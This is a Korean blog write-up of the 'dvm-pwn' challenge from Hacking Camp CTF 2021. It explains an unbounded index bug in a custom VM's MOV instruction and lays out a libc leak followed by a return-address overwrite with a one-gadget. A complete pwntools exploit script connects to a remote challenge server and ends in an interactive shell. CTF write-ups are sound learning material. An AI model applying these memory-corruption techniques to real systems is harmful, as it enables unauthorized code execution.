[ Pwnable ] Hacking Camp CTF 2021 dvm-pwn write-up 본문

Pwnable

[ Pwnable ] Hacking Camp CTF 2021 dvm-pwn write-up

disso1p1 2021. 2. 24. 03:59

 

 

 

 

[ 메모리 보호기법 ]

 

 

 

CPU가 구현돼 있는 함수인데, ida로 까면 switch case문이 깨져 기드라로 봤다.

 

 

기본적으로 수행하는 명령어들이 구현돼있는데, 취약점이 일어나는 부분과 내가 공격할 때 사용한 코드에 대해서만 설명을 하겠다.

 

 

 

[ MOV source code ]

인덱스를 조절하면서 스택 영역에 있는 값과 힙 영역에 있는 값을 가져올 수 있음

인덱스 크기에 대한 제한이 없기 때문에 이걸 이용해서 리턴 값을 가져오거나 덮을 수 있음

 

 

 

[ SYSCALL source code ]

read, write 함수를 이용해 주소를 알면 원하는 공간에 입력이나 출력을 할 수 있음

각 인자마다 크기 제한이 있음 → 위 MOV와 함께 사용함으로써 공격 가능

 

 

 

[ EXIT source code ]

return으로 main 함수로 간 후 종료

 

 

 

 

 

 

 

[ 공격 루틴 ]

1. RET addr 에 있는 __libc_start_main 주소를 leak

1.1. write 함수의 두번째 인자가 더블 포인터라 RET addr 주소를 갖고 있는 주소를 찾아야함

1.2. 없어서 SFP를 이용 main 함수에서 CPU 구현 함수를 호출했으므로, 이 함수의 SFP에는 main 함수의 ebp 값이 들어가 있음 main 함수의 RET addr 값을 main 함수의 SFP 위치에 넣고, CPU 구현 함수SFP 위치를 계산함

1.3. heap에 넣고, write 함수의 두번째 인자로 사용

2. 구한 libc base 를 이용하여 oneshot !

2.1. MOV 를 이용하여 RET addr부터 oneshot 조건을 맞추기 위해 레지스터 세팅을 한 후, oneshot 가젯을 실행시키는 페이로드 작성

 

 

 

 

 

 

[ Exploit ]

from pwn import *

context.log_level = 'debug'

binary = './dvm-pwn'
p = remote('13.125.168.158', '3280')
#p = process(binary)
e = ELF(binary)
libc =  e.libc

sa = lambda x, y : p.sendafter(x, y)
sla = lambda x, y : p.sendlineafter(x, y)
s = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
rvl = lambda : p.recvline()
rvu = lambda x : p.recvuntil(x)


class VM:

    def __init__(self):
        self.pay = ''

    def heap_open(self, idx): # sys
        self.pay += '\x53'
        self.pay += '2'
        self.pay += '$'
        self.pay += chr(idx+0x30)
        self.pay += '1' # 4
        self.pay += '1' # idx


    def heap_read(self, fd, idx, size): # sys
        self.pay += '\x53'
        self.pay += '0'
        self.pay += '$'
        self.pay += chr(fd+0x30)
        self.pay += chr(idx+0x30)
        self.pay += chr(size+0x30)
        

    def heap_write(self, fd, idx, size): # sys
        self.pay += '\x53'
        self.pay += '1'
        self.pay += '$'
        self.pay += chr(fd+0x30)
        self.pay += chr(idx+0x30)
        self.pay += chr(size+0x30)


    def stack_to_heap(self, heap_idx, stack_idx):   # mov
        self.pay += '\x4d'
        self.pay += chr(heap_idx+0x30)
        self.pay += chr(stack_idx+0x30)
        self.pay += '%'

    def heap_to_stack(self, stack_idx, heap_idx):   # mov
        self.pay += '\x4d'
        self.pay += chr(stack_idx+0x30)
        self.pay += chr(heap_idx+0x30)
        self.pay += '#'

    def stack_to_stack(self, stack_idx_1, stack_idx_2):   # mov
        self.pay += '\x4d'
        self.pay += chr(stack_idx_1+0x30)
        self.pay += chr(stack_idx_2+0x30)
        self.pay += '@'

    def exit_(self):
        self.pay += '\x45'


prsi = 0x0000000000027529

vm = VM()

#libc leak
vm.stack_to_stack(0x22, 0x23)
vm.stack_to_heap(0, -0x6) # CPU SFP
vm.heap_write(1, 0, 8)

#shell
vm.heap_read(0, 2, 8) # p64(libc_base+prsi)
vm.heap_read(0, 3, 8) # p64(0))
vm.heap_read(0, 4, 8) # p64(libc_base+0xe6e79) oneshot

vm.stack_to_stack(0x22, -0x6) # ebp
vm.heap_to_stack(0x23, 2) # ret
vm.heap_to_stack(0x24, 3) # ret+0x8
vm.heap_to_stack(0x25, 4) # ret+0x10

vm.exit_()

pause()
sla(': ', vm.pay)

libc_base = u64(rvu('\x7f')[-6:]+'\x00\x00') - (libc.symbols['__libc_start_main']+243)
log.info('libc_base : ' + hex(libc_base))

sa('S\n', p64(libc_base+prsi))
sa('S\n', p64(0))
sa('S\n', p64(libc_base+0xe6e79))

p.interactive()

 

'Pwnable' 카테고리의 다른 글

Smart Pointer in C++ pwn  (0) 2022.02.16
Comments